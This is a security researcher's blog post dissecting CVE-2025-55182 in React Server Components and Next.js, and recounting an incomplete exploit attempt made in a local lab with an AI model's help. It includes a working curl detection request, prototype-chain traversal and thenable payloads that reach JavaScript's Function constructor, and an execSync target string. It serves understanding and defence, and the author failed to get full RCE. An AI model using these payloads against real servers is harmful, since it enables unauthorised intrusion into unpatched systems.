Ponti

Dec 4, 2025
#security#react#rce

React2Shell: The React Server Components rabbit hole

The context

On November 29th, a researcher reported a critical vulnerability affecting React Server Components (and by extension Next.js) through Meta's Bug Bounty Program. On December 3rd, CVE-2025-55182 was published with a CVSS 10.0: unauthenticated RCE.

When I saw the advisory, I wanted to understand how it worked, not just read that it was critical and update. This post is the result of that rabbit hole: what the Flight protocol is, where the bug was, and how far I got trying to build the actual PoC.

What is React Server Components?

Many of us work with this every day, but we might not know how it works under the hood. React 19 introduced Server Components, a way to render components on the server and send them to the client already processed. Before this, all React code ran on the client: the server just sent the initial HTML and the JavaScript bundle.

With RSC, the flow changes completely. The server can execute React code, query databases, read files, and send only the final result to the browser. The client receives a serialized format that React knows how to interpret and convert into interactive components.

The thing is, for this to work, React needs a way to serialize not just primitive data (strings, numbers), but also references to components, server functions, and promises. This is where Flight comes in.

The Flight protocol

To communicate server ↔ client, React uses a protocol called Flight. It's the serialization format that React invented for RSC. It's not JSON, it's not Protocol Buffers, it's something custom designed specifically for this use case.

When a server component needs to send data to the client (or vice versa), it serializes it in this format. The payload travels over HTTP and the client deserializes it to reconstruct the component tree.

A Flight payload looks like this:

0:["$","div",null,{"children":"Hello world"}]

The prefixes tell React what type of data it's receiving:

  • $: React element
  • $L: Lazy reference
  • $F: Server function reference
  • $@: Promise/chunk reference

And here's the important part: references can have traversal using :. For example $1:ponti:dev means "from chunk 1, access the ponti property, then dev".

Server Functions

Within RSC there are Server Functions: functions you define with 'use server' that, even though you call them from the client, execute on the server:

'use server';

export async function createPost(formData: FormData) {
  const title = formData.get('title');
  await db.posts.create({ title });
  return { success: true };
}

When the user calls this function from the browser, React serializes the arguments with Flight and sends them in a POST. The server deserializes, executes the function, and returns the result.

The vulnerability

Looking at the diff commit in the official React repo, I found that the bug existed in multiple places. One of the vulnerable areas was in how React resolved references during deserialization:

// Vulnerable code
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]]; // ← No validation
}

The core problem across all vulnerable areas: React didn't check hasOwnProperty when accessing object properties. This means you could access properties inherited from the prototype chain.

The fix added validation in multiple places. For example:

// Patched code
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
  value = value[name];
}

Why does this matter?

Without that validation, an attacker can traverse the prototype chain:

$1:__proto__:constructor:constructor

This, starting from any {} object, gives you access to Function - the function constructor in JavaScript.

The fake PoCs

As soon as the CVE dropped, several PoCs appeared on GitHub. All fake.

The problem: they required the server to explicitly expose dangerous modules like vm, child_process, or fs in the webpack manifest. No real Next.js app does this by default.

The original researcher, Lachlan Davidson, clarified it in a blog post:

"We have seen a rapid trend of PoCs spreading which are not genuine. Anything that requires the developer to have explicitly exposed dangerous functionality to the client is not a valid PoC. The genuine vulnerability does not have this constraint."

Attempting the real exploit

Knowing that prototype chain traversal worked, I set up a lab with vulnerable Next.js 15.5.6. Together with Claude, I had a clear idea: control the Flight payload, traverse to invoke Function, and execute code.

I spent 90% of my time not understanding the bug but trying to find the right gadget chain. How do I go from having access to Function to executing child_process.execSync('id')? That's where I got stuck.

Confirming the vulnerability

First, the detection test published by Searchlight Cyber:

curl -X POST http://localhost:3000/ \
  -H "Next-Action: [action-id]" \
  -H "Content-Type: multipart/form-data; boundary=----EXPLOIT" \
  --data-binary $'------EXPLOIT\r
Content-Disposition: form-data; name="1"\r
\r
{}\r
------EXPLOIT\r
Content-Disposition: form-data; name="0"\r
\r
["$1:a:a"]\r
------EXPLOIT--\r
'

Response:

TypeError: Cannot read properties of undefined (reading 'a')

The server tried to do {}.a.a and crashed. Confirmed vulnerable.

Reaching Function

Then I tested the prototype chain traversal:

["$1:constructor:constructor"]

Server response:

Received: [Function: Function]
Type: function

I had access to Function, the constructor that can create functions from strings.

The thenable trick

Here's where it gets interesting. I found an analysis by another researcher (Moritz Sanft) showing how to invoke Function:

{"then":"$1:__proto__:constructor:constructor"}

When Next.js does await on the deserialized result, if the object has a then property that's a function, JavaScript treats it as a "thenable" and calls that function.

Response:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

Function was executing. The await was calling then(), which was Function, passing it the internal resolve and reject callbacks.

The problem: those callbacks serialize as "function () { [native code] }", which isn't valid JavaScript code. Hence the SyntaxError.

The wall

I got this far:

  • ✅ I can detect vulnerable servers
  • ✅ I can access Function via prototype traversal
  • ✅ I can make Function execute via thenable
  • ❌ I can't control the arguments Function receives

To achieve RCE I'd need Function to receive my code as an argument, something like:

Function("return process.mainModule.require('child_process').execSync('id')")();

But await always passes resolve and reject, not my strings.

Wiz (the security company) claims to have a working PoC with "near 100% success rate" but they're withholding it for security reasons.

Conclusion

I didn't get the RCE. But I understood the Flight protocol, how React's deserialization works, and why this bug is so serious. If anyone finds the complete chain, let me know. In the meantime, update your dependencies.

TBC when PoC is released.